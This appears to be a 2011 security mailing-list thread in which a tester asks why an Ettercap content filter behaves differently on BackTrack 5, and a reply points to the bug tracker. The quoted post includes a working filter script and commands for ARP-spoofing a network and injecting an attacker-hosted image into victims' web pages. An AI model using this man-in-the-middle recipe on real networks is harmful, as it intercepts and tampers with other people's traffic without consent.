PaulDotCom mailing list archives
Re: Ettercap + Etterfilter weirdness on BT5
From: Ryan Dewhurst <ryandewhurst () gmail com>
Date: Wed, 15 Jun 2011 14:10:38 +0100
I've not tried to use Ettercap in BT5 as yet. However you can file BT5 bug reports here; http://redmine.backtrack-linux.org:8080/ Ryan Dewhurst blog www.ethicalhack3r.co.uk projects www.dvwa.co.uk | www.webwordcount.com twitter www.twitter.com/ethicalhack3r On Wed, Jun 15, 2011 at 1:13 PM, Joshua Wright <jwright () hasborg com> wrote:
Has anyone successfully used Ettercap with a filter on BT5? On BT4R2, this script works like a champ: if (ip.proto == TCP && tcp.dst == 80) { if (search(DATA.data, "If-Modified-Since")) { replace("Accept-Encoding", "If-PACified-Since"); msg("Killed If-Modified-Since\n"); } } if (ip.proto == TCP && tcp.src == 80) { replace("img src=", "img src=\"http://10.10.10.70/pwned.jpg\" "); msg("pwned image injected\n"); } # etterfilter -o pwned.ef pwned.filter # ettercap -TqM arp:remote -F pwned.ef // // In testing with BT5 however, I see the logging messages, and the packets are injected by Ettercap, but the original frames are not dropped. I validated this on the victim where he gets the original packets immediately followed by the Ettercap-modified packets. The follow-up packets are dropped by the victim as TCP retransmissions. I confirmed this behavior on BT5 VM and booting from a DVD natively. I'm guessing this is due to something having changed in the kernel from BT4R2 to BT5, but I'm not sure what it could be. I checked /sys/net/ipv4/ip_forward, but it is set to 0. Any other suggestions? Thanks, -Josh _______________________________________________ Pauldotcom mailing list Pauldotcom () mail pauldotcom com http://mail.pauldotcom.com/cgi-bin/mailman/listinfo/pauldotcom Main Web Site: http://pauldotcom.com
_______________________________________________ Pauldotcom mailing list Pauldotcom () mail pauldotcom com http://mail.pauldotcom.com/cgi-bin/mailman/listinfo/pauldotcom Main Web Site: http://pauldotcom.com
Current thread:
- Ettercap + Etterfilter weirdness on BT5 Joshua Wright (Jun 15)
- Re: Ettercap + Etterfilter weirdness on BT5 Ryan Dewhurst (Jun 15)